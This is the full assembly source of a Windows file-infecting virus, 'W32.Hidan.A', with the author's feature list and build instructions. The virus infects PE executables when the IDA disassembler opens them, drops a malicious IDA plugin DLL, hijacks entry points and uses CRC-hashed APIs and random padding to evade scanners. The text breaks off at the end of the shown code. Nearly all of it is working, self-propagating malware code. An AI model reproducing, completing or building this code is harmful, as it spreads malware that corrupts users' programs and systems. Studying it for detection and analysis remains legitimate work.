W32.Hidan.A
by roy g biv

See also the project folder

comment ;)
W32.Hidan by roy g biv

some of its features:
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
- infects files when IDA loads them
- reloc section inserter/last section appender
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm

yes, just a W32.OU812 remake that infects in a slightly different way
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 hidan
link hidan /subsystem:windows /entry:dropper kernel32.lib user32.lib ida.lib

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.386
.model  flat

extern  _GetModuleHandleA@4:proc
extern  _MessageBoxA@16:proc
extern  _ExitProcess@4:proc
extern  _RootNode:dword
extern  _netnode_value@4:proc

.data
include hidan.inc

_dropper        label   near
public _dropper
        push    0
        call    _GetModuleHandleA@4
        mov     ebx, eax
        push    40h
        pop     ecx
        add     eax, dword ptr [ebx + ecx + mzhdr.mzlfanew - 40h]
        mov     ecx, dword ptr [ecx * 2 + eax]  ;import table rva

find_ida        label   near
        mov     esi, dword ptr [ebx + ecx + peimp.impdllrva]
        add     ecx, size peimp
        add     esi, ebx
        lods    dword ptr [esi]
        or      eax, "    "
        sub     eax, ".adi"
        jne     find_ida
        add     ebx, dword ptr [ebx + ecx + peimp.impilt - size peimp]
        imul    ax, word ptr [ebx], 4
        sub     eax, 4
        mov     dword ptr [offset ordinal2 + 3], eax
        imul    ax, word ptr [ebx + 4], 4
        sub     eax, 4
        mov     dword ptr [offset ordinal1 + 3], eax
        mov     edx, krncrc_count
        mov     ebx, offset krnnames
        mov     edi, offset krncrcbegin
        call    create_crcs
        mov     edx, 1
        mov     ebx, offset sfcnames
        mov     edi, offset sfccrcbegin
        call    create_crcs
        mov     edx, dllcrc_count
        mov     ebx, offset dllnames
        mov     edi, offset dllcrcbegin
        call    create_crcs
        mov     edx, 1
        mov     ebx, offset regnames
        mov     edi, offset regcrcbegin
        call    create_crcs
        jmp     hidan_execode
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------

;-----------------------------------------------------------------------------
;virus code begins here
;-----------------------------------------------------------------------------

hidan_dllcode   proc    near
        pushad
        call    hidan_kernel
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     ecx
        popad
        ret

hidan_exp       PLUGIN <IDP_INTERFACE_VERSION, 0, dllsize + 1000h>

;-----------------------------------------------------------------------------
;main virus body.  everything happens in here
;-----------------------------------------------------------------------------

hidan_kernel    proc    near
        push    dword ptr fs:[eax]
        mov     dword ptr fs:[eax], esp
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset check_sfc - offset krncrcend + 4
        db      "hIDAn - roy g biv"             ;I'm waiting for you...

init_findmz     label   near
        xor     esi, esi
        lods    dword ptr fs:[esi]
        inc     eax

walk_seh        label   near
        dec     eax
        xchg    esi, eax
        lods    dword ptr [esi]
        inc     eax
        jne     walk_seh
        mov     edi, dword ptr [esi]

find_mzhdr      label   near

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     edi                             ;sub 64kb
        xor     di, di                          ;64kb align
        call    is_pehdr
        jne     find_mzhdr
        mov     ebx, edi
        pop     edi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        mov     esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea     esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods    dword ptr [esi]                 ;Export Address Table RVA
        lea     edx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Name Pointer Table RVA
        lea     ecx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Ordinal Table RVA
        lea     ebp, dword ptr [ebx + eax]
        mov     esi, ecx

push_export     label   near
        push    ecx

get_export      label   near
        lods    dword ptr [esi]
        push    ebx
        add     ebx, eax                        ;Name Pointer VA
        or      eax, -1

crc_outer       label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

crc_inner       label   near
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip        label   near
        loop    crc_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      crc_outer
        pop     ebx
        cmp     dword ptr [edi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 2]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        add     edi, dword ptr [edi + 4]
        jmp     edi

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

check_sfc       label   near
        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    dword ptr [esp + krncrcstk.kLoadLibraryA]
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
        pop     ecx
        test    eax, eax
        je      sfcapi_push

found_sfc       label   near
        inc     eax
        xchg    edi, eax
        call    find_mzhdr

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      0, 0
sfccrcend       label   near
        dd      offset sfcapi_pop - offset sfccrcend + 4

sfcapi_pop      label   near
        pop     eax

sfcapi_push     label   near
        push    eax
        mov     ebp, esp
        push    "llw"
        push    ".adi"
        push    esp
        call    dword ptr [ebp + krncrcstk.kLoadLibraryA]
        pop     ecx
        pop     ecx
        mov     edx, dword ptr [eax + mzhdr.mzlfanew]
        mov     ecx, dword ptr [edx + eax + pehdr.peexport]
        mov     edx, dword ptr [ecx + eax + peexp.expadrrva]

ordinal1        label   near
        mov     ecx, dword ptr [edx + eax + '!bgr']  ;RootNode
        push    dword ptr [ecx + eax]                ;this

ordinal2        label   near
        add     eax, dword ptr [edx + eax + '!bgr']  ;_netnode_value@4
        call    eax
        xchg    edi, eax

;-----------------------------------------------------------------------------
;convert path to Unicode (SFC requires Unicode path)
;-----------------------------------------------------------------------------

        push    edi
        call    dword ptr [ebp + krncrcstk.kGetFileAttributesA]
        push    eax                             ;save original file attributes for close
        enter   MAX_PATH * 2, 0
        mov     eax, esp
        xor     ebx, ebx
        push    MAX_PATH
        push    eax
        push    -1
        push    edi
        push    ebx                             ;use default translation
        push    ebx                             ;CP_ANSI
        call    dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
        xor     eax, eax                        ;fake success in case of no SFC
        jecxz   leave_sfc
        push    esp
        push    ebx
        call    ecx

leave_sfc       label   near
        leave
        test    eax, eax
        jne     restore_attr
        call    set_fileattr
        push    ebx
        push    ebx
        push    OPEN_EXISTING
        push    ebx
        push    FILE_SHARE_READ or FILE_SHARE_WRITE
                                                ;IDA opens with full sharing, so we must do the same
        push    GENERIC_READ or GENERIC_WRITE
        push    edi
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        push    ebx
        push    eax
        xchg    ebx, eax
        call    dword ptr [ebp + krncrcstk.kGetFileSize]
        xchg    esi, eax
        push    edi
        xor     eax, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)
        push    eax
        push    eax
        mov     esi, esp
        push    eax
        push    eax
        push    esp
        push    eax
        push    0
        push    ebx
        call    dword ptr [ebp + krncrcstk.kGetFileTime]
        push    esp
        push    esi
        push    0
        push    ebx
        call    dword ptr [ebp + krncrcstk.kSetFileTime]
        add     esp, 10h
        push    ebx
        call    dword ptr [ebp + krncrcstk.kCloseHandle]
        pop     edi

restore_attr    label   near
        pop     ebx                             ;restore original file attributes
        push    0                               ;game over

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr    proc    near                    ;ebx = file attributes, edi -> filename, ebp -> platform APIs
        push    ebx
        push    edi
        call    dword ptr [ebp + krncrcstk.kSetFileAttributesA]
        ret                                     ;edi -> filename
        db      "05/09/05"
set_fileattr    endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr        proc    near                    ;edi -> map view
        cmp     word ptr [edi], 'ZM'            ;Windows does not check 'MZ'
        jne     pehdr_ret
        mov     esi, dword ptr [edi + mzhdr.mzlfanew]
        add     esi, edi
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret       label   near
        ret                                     ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr        endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect     proc    near                    ;esi = filesize, edi = map view
        call    map_view
        mov     ebp, esi
        call    is_pehdr
        jne     inftest_ret
        lods    dword ptr [esi]
        cmp     ax, IMAGE_FILE_MACHINE_I386
        jne     inftest_ret                     ;only Intel 386+
        shr     eax, 0dh                        ;move high 16 bits into low 16 bits and multiply by 8
        lea     edx, dword ptr [eax * 4 + eax]  ;complete multiply by 28h (size pesect)
        mov     ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]

;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------

        test    ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
        jne     inftest_ret
        add     esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
        lods    dword ptr [esi]
        xchg    ecx, eax

;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------

        and     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        cmp     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        jne     inftest_ret                     ;cannot use xor+jpo because 0 is also jpe

;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------

        mov     eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
        cmp     ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe    inftest_ret
        cmp     al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb      inftest_ret
        shr     eax, 1eh                        ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb      inftest_ret

;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------

        cmp     dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], eax
        jnbe    inftest_ret

;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------

        movzx   eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
        add     eax, edx
        mov     ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pecodebase]
        mov     edx, dword ptr [esi + pehdr.peimagebase - pehdr.pecodebase]
        lea     esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        add     eax, dword ptr [esi]
        cmp     ebp, eax
        jne     inftest_ret                     ;file contains appended data
        add     dword ptr [esp + mapsehstk.mapsehregesi], ebx
        inc     dword ptr [esp + mapsehstk.mapsehinfret]
                                                ;skip call mask

inftest_ret     label   near
        int     3

;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------

open_append     proc    near
        call    dword ptr [ebp + krncrcstk.kGetTickCount]
        and     eax, RANDPADMAX - 1
        add     ax, small (offset hidan_codeend - offset hidan_dllcode + RANDPADMIN)

;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------

map_view        proc    near                    ;eax = extra bytes to map, ebx = file handle, esi = filesize, ebp -> platform APIs
        cdq
        add     eax, esi
        push    eax
        mov     ecx, esp
        push    eax                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    edx                             ;MapViewOfFile
        push    FILE_MAP_WRITE                  ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
        push    edx
        push    eax
        push    edx
        push    PAGE_READWRITE
        push    edx
        push    ebx
        call    dword ptr [ebp + krncrcstk.kCreateFileMappingA]
        push    eax
        xchg    edi, eax
        call    dword ptr [ebp + krncrcstk.kMapViewOfFile]
        pop     ecx
        xchg    edi, eax                        ;should succeed even if file cannot be opened
        pushad
        call    unmap_seh
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad                                   ;SEH destroys all registers
        push    eax
        push    edi
        call    dword ptr [ebp + krncrcstk.kUnmapViewOfFile]
        call    dword ptr [ebp + krncrcstk.kCloseHandle]
        pop     eax
        ret

unmap_seh       proc    near
        cdq
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx], esp
        jmp     dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh       endp
map_view        endp                            ;eax = map handle, ecx = new file size, edi = map view
open_append     endp

;-----------------------------------------------------------------------------
;infect file in two parts
;algorithm:     increase file size by random amount (RANDPADMIN-RANDPADMAX
;               bytes) to confuse scanners that look at end of file (also
;               infection marker)
;               if reloc table is not in last section (taken from relocation
;               field in PE header, not section name), then append to last
;               section.  otherwise, move relocs down and insert code into
;               space (to confuse people looking at end of file.  they will
;               see only relocation data and garbage or many zeroes)
;               entry point is altered to point to some code.  very simple
;               however, that code just drops dll and returns
;               other alteration is to store language dll name in VB header
;               dll contains virus code and is loaded by Visual Basic
;-----------------------------------------------------------------------------

infect_file     label   near                    ;esi -> findlist, edi = map view
        call    open_append

delta_label     label   near
        push    ecx
        push    edi
        mov     ebx, dword ptr [edi + mzhdr.mzlfanew]
        lea     ebx, dword ptr [ebx + edi + pehdr.pechksum]
        xor     ecx, ecx
        imul    cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
        add     cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
        lea     esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        mov     cx, offset hidan_codeend - offset hidan_dllcode
        mov     edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
        push    eax
        add     eax, ecx
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx                        ;file align last section
        mov     dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax

;-----------------------------------------------------------------------------
;raw size is file aligned.  virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------

        mov     ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        cmp     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        jnb     test_reloff
        mov     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        add     eax, ebp
        mov     edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx
        mov     dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax

;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------

test_reloff     label   near
        test    byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
        jne     copy_code
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
        jb      copy_code
        mov     eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
        add     eax, ebp
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
        jnb     copy_code
        add     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
        pop     eax
        push    esi
        add     edi, dword ptr [esi]
        lea     esi, dword ptr [edi + eax - 1]
        lea     edi, dword ptr [esi + ecx]
        xchg    ecx, eax
        std
        rep     movs byte ptr [edi], byte ptr [esi]
        cld
        pop     esi
        pop     edi
        push    edi
        push    ecx
        xchg    ecx, eax

copy_code       label   near
        pop     edx
        add     ebp, edx
        xchg    ebp, eax
        add     edx, dword ptr [esi]
        add     edi, edx
        push    esi
        mov     esi, offset hidan_dllcode - offset delta_label
        add     esi, dword ptr [esp + infectstk.infseh.mapsehsehret]
                                                ;delta offset
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     esi

;-----------------------------------------------------------------------------
;alter entry point
;-----------------------------------------------------------------------------

if ((offset hidan_codeend - offset dlllabel) and not 0ffh)
        .err    "dropper is too large"
endif
        mov     cl, small (offset hidan_codeend - offset dlllabel)
        sub     edi, ecx
        add     eax, offset hidan_execode - offset hidan_dllcode
        xchg    dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
        mov     edx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
        add     eax, edx
        xor     ecx, ecx
        mov     word ptr [edi + offset hidan_exp - offset dlllabel + PLUGIN.init + 2], cx
        mov     dword ptr [edi + offset host_patch - offset dlllabel + 1], eax
        pop     edi

;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------

        xchg    dword ptr [ebx], ecx
        jecxz   infect_ret
        cdq
        pop     ecx
        push    ecx
        inc     ecx
        shr     ecx, 1
        clc

calc_checksum   label   near
        adc     dx, word ptr [edi]
        inc     edi
        inc     edi
        loop    calc_checksum
        pop     dword ptr [ebx]
        adc     dword ptr [ebx], edx            ;avoid common bug.  ADC not ADD

infect_ret      label   near
        int     3                               ;common exit using SEH
        db      "*4U2NV*"                       ;that is, unless you're reading this
test_infect     endp

hidan_execode   proc    near
host_patch      label   near
        push    offset do_message               ;replaced dynamically
        pushad
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

dllcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (dllcrc_count + 1) dup (0)
dllcrcend       label   near
        dd      offset load_reg - offset dllcrcend + 4

advapi32        label   near
        db      "advapi32", 0

load_reg        label   near
        lea     eax, dword ptr [edi + offset advapi32 - offset load_reg]
        push    eax
        call    dword ptr [esp + dllcrcstk.dLoadLibraryA + 4]
        inc     eax
        xchg    edi, eax
        call    find_mzhdr

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

regcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      0, 0
regcrcend       label   near
        dd      offset reg_query - offset regcrcend + 4

dotidb  db      ".idb", 0
shellop db      "\shell\open\command", 0

reg_query       label   near
        pop     eax
        mov     ebx, esp
        enter   MAX_PATH, 0
        xchg    ebp, eax
        mov     esi, esp
        sub     edi, offset reg_query - offset dotidb
        push    7fh
        push    esp
        push    esi
        push    edi
        push    80000000h
        call    ebp
        test    eax, eax
        jne     fail_idp
        lea     eax, dword ptr [edi + offset shellop - offset dotidb]
        push    eax
        push    esi
        call    dword ptr [ebx + dllcrcstk.dlstrcatA]
        pop     eax
        push    7fh
        push    esp
        push    esi
        push    esi
        push    80000000h
        call    ebp
        inc     esi
        push    esi

find_slash      label   near
        cmp     al, '\'
        jne     find_quote
        mov     edi, esi

find_quote      label   near
        lods    byte ptr [esi]
        cmp     al, '"'
        jne     find_slash
        mov     eax, "gulp"
        stos    dword ptr [edi]
        mov     eax, "sni"
        stos    dword ptr [edi]
        call    skip_dll

dlllabel        label   near
        db      '\', dllname, ".plw"
        db      0ch - (offset $ - offset dlllabel) dup (0)

dllsize equ     0bch
;RLE-based compressed MZ header, PE header, section table, relocation table
        dd      10101001100001001001011000010111b
        ;       1r   04mmz   02r   02mmz   02mmm
        db      'M', 'Z', (offset hidan_exp - offset hidan_dllcode + dllsize) and 0ffh, (offset hidan_exp - offset hidan_dllcode + dllsize + 1000h) shr 8, 'P', 'E', 4ch, 1, 1
        dd      00000101110010000011111011110100b
        ;       z   01r   0cmz   01mmmmr   0em
        db      70h, 2, 21h, 0bh, 1, 4eh
        dd      00001101010010010001000011100001b
        ;       z   03r   04mz   08mz   03mz   02
        db      0ch, 10h, 2
        dd      01001011111100001011101001000001b
        ;       r   02mmmmmmz   02mmmr   02z   02
        db      58h, 59h, 1, 89h, offset hidan_exp - offset hidan_dllcode + dllsize + PLUGIN.init, (offset hidan_exp - offset hidan_dllcode + dllsize + PLUGIN.init + 1000h) shr 8, 5ah, 0ffh, 0e0h
        dd      10000101000100011111100001110000b
        ;       mz   02mz   04r   0fmz   03m
        db      ((offset hidan_codeend - offset hidan_dllcode + dllsize + 1fffh) and not 0fffh) shr 8, dllsize, 1, 1
        dd      00011110000111001111001101100001b
        ;       z   07mz   03mz   0fz   0dmz   02
        db      6, 64h, 10h
        dd      11000010100001110000111001010100b
        ;       mmz   02mz   03mz   03mz   0am
        db      0, ((offset hidan_codeend - offset hidan_dllcode + dllsize + 1ffh) and not 1ffh) shr 8, 1, 0ach, 8, 0e0h
        dd      0
;decompressed data follow.  'X' bytes are set to random value every time
;       db      'M', 'Z'                ;00
;       db      X, X                    ;02    align 4
;       db      X, X                    ;04    useless filler
;hidan_expadr:
;       dd      offset hidan_exp        ;06    export address
;       db      X, X                    ;0a    useless filler
;       db      'P', 'E', 0, 0          ;0c 00 signature
;       dw      14ch                    ;10 04 machine
;       dw      1                       ;12 06 number of sections
;       db      X, X, X, X              ;14 08 date/time stamp
;       db      X, X, X, X              ;18 0c pointer to symbol table
;       db      X, X, X, X              ;1c 10 number of symbols
;       dw      70h                     ;20 14 size of optional header
;       dw      2102h                   ;22 16 characteristics
;       dw      10bh                    ;24 18 magic
;       db      X                       ;26 1a major linker
;       db      X                       ;27 1b minor linker
;       db      X, X, X, X              ;28 1c size of code
;       db      X, X, X, X              ;2c 20 size of init data
;       db      X, X, X, X              ;30 24 size of uninit data
;       dd      offset entrypoint       ;34 28 entry point
;       db      X, X, X, X              ;38 2c base of code
;       dd      0ch                     ;3c 30 base of data (overload for lfanew)
;       dd      0                       ;40 34 image base
;       dd      1000h                   ;44 38 section align
;       dd      200h                    ;48 3c file align
;       db      X, X                    ;4c 40 major os
;entrypoint:
;       db      58h, 59h                ;4e 42 minor os (overload for pop eax, pop ecx)
;       db      1, 89h                  ;50 44 major image (overload for add dword ptr [ecx + 0000xxxx], ecx)
;       dw      offset hidan_exp - offset hidan_dllcode + dllsize + PLUGIN.init + 1000h
;                                       ;52 46 minor image
;       dw      0                       ;54 48 major subsys
;       db      5ah, 0ffh               ;56 4a minor subsys (overload for pop edx, half of jmp eax)
;       db      0e0h, X, X, X           ;58 4c reserved (overload for half of jmp eax)
;       dd      (aligned size of code)  ;5c 50 size of image
;       dd      dllsize                 ;60 54 size of headers
;hidan_exptbl:
;       dd      X, X, X, X              ;64 58 checksum (overload for flags)
;       db      X, X                    ;68 5c subsystem (overload for datetime)
;       db      X, X                    ;6a 5e dll characteristics (overload for datetime)
;       db      X, X, X, X              ;6c 60 size of stack reserve (overload for major and minor version)
;       db      X, X, X, X              ;70 64 size of stack commit (overload for dll rva)
;       dd      1                       ;74 68 size of heap reserve (overload for ordinal base)
;       dd      1                       ;78 6c size of heap commit (overload for address count)
;       dd      0                       ;7c 70 loader flags (overload for name count)
;       dd      6                       ;80 74 number of rva and sizes (overload for address rva)
;       dd      offset hidan_exptbl     ;84 78 export
;       dd      0                       ;88 7c export
;       dd      0                       ;8c 80 import
;       dd      0                       ;90 84 import
;       dd      0                       ;94 88 resource (overload for section name)
;       dd      0                       ;98 8c resource (overload for section name)
;       dd      0                       ;9c 90 exception (overload for virtual size)
;       dd      1000h                   ;a0 94 exception (overload for relative virtual address)
;       dd      (size of code)          ;a4 98 certificate (overload for file size)
;       dd      1                       ;a8 9c certificate (overload for file offset)
;       dd      0ach, 8                 ;ac a0 base reloc (overload for pointer to relocs)
;       dd      0                       ;b4 a8 debug (overload for reloc table and line numbers)
;       dd      0e0000000h              ;b8 ac debug (overload for section characteristics)
;                                       ;bc

skip_dll        label   near
        pop     esi
        push    offset hidan_codeend - offset hidan_dllcode + dllsize + 1ffh
        xor     ebp, ebp                        ;GMEM_FIXED
        push    ebp
        call    dword ptr [ebx + dllcrcstk.dGlobalAlloc]
        pop     edx
        push    eax                             ;GlobalFree
        push    ebp                             ;WriteFile
        push    esp                             ;WriteFile
        push    offset hidan_codeend - offset hidan_dllcode + dllsize + 1ffh
                                                ;WriteFile
        push    eax                             ;WriteFile
        push    ebp                             ;CreateFileA
        push    ebp                             ;CreateFileA
        push    CREATE_ALWAYS                   ;CreateFileA
        push    ebp                             ;CreateFileA
        push    ebp                             ;CreateFileA
        push    GENERIC_WRITE                   ;CreateFileA
        push    edx                             ;CreateFileA
        lea     ecx, dword ptr [eax + 7fh]
        push    ecx                             ;MoveFileA
        push    edx                             ;MoveFileA
        push    edx                             ;GetFileAttributesA
        push    ebp                             ;SetFileAttributesA
        push    edx                             ;SetFileAttributesA
        push    ecx                             ;DeleteFileA
        push    ecx                             ;GetTempFileNameA
        push    ebp                             ;GetTempFileNameA
        push    esp                             ;GetTempFileNameA
        push    edx                             ;GetTempFileNameA
        xchg    ebp, eax
        call    dword ptr [ebx + dllcrcstk.dGetTempFileNameA]
        call    dword ptr [ebx + dllcrcstk.dDeleteFileA]

;-----------------------------------------------------------------------------
;append dll name, assumes name is 0ch bytes long
;-----------------------------------------------------------------------------

        dec     edi
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]

;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------

        call    dword ptr [ebx + dllcrcstk.dSetFileAttributesA]
        call    dword ptr [ebx + dllcrcstk.dGetFileAttributesA]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        pop     ecx
        pop     eax
        je      skip_move
        push    eax
        push    ecx
        call    dword ptr [ebx + dllcrcstk.dMoveFileA]

skip_move       label   near
        call    dword ptr [ebx + dllcrcstk.dCreateFileA]
        push    ebx
        xchg    ebp, eax
        xchg    edi, eax
        call    dword ptr [ebx + dllcrcstk.dGetTickCount]
        xchg    ebx, eax
        xor     ecx, ecx

;-----------------------------------------------------------------------------
;decompress dll MZ header, PE header, section table, relocation table
;-----------------------------------------------------------------------------

        lods    dword ptr [esi]

copy_bytes      label   near
        movs    byte ptr [edi], byte ptr [esi]

test_bits       label   near
        add     eax, eax
        jb      copy_bytes
        add     eax, eax
        sbb     dl, dl
        and     dl, bl
        shld    ecx, eax, 4
        rol     ebx, cl
        shl     eax, 4
        xchg    edx, eax
        rep     stos byte ptr [edi]
        xchg    edx, eax
        jne     test_bits
        lods    dword ptr [esi]
        test    eax, eax
        jne     test_bits
        mov     cx, offset hidan_codeend - offset hidan_dllcode
        sub     esi, offset skip_dll - offset hidan_dllcode
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     ebx
        push    ebp
        call    dword ptr [ebx + dllcrcstk.dWriteFile]
        push    ebp
        call    dword ptr [ebx + dllcrcstk.dCloseHandle]
        call    dword ptr [ebx + dllcrcstk.dGlobalFree]

fail_idp        label   near
        add     esp, size dllcrcstk + MAX_PATH + 8
        popad
        ret
hidan_execode   endp
hidan_codeend   label   near
hidan_kernel    endp
hidan_dllcode   endp

create_crcs     proc    near
        or      eax, -1

create_outer    label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

create_inner    label   near
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip     label   near
        loop    create_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        stos    dword ptr [edi]
        dec     edx
        jne     create_crcs
        ret
create_crcs     endp

do_message      label   near
        xor     ebx, ebx
        push    ebx
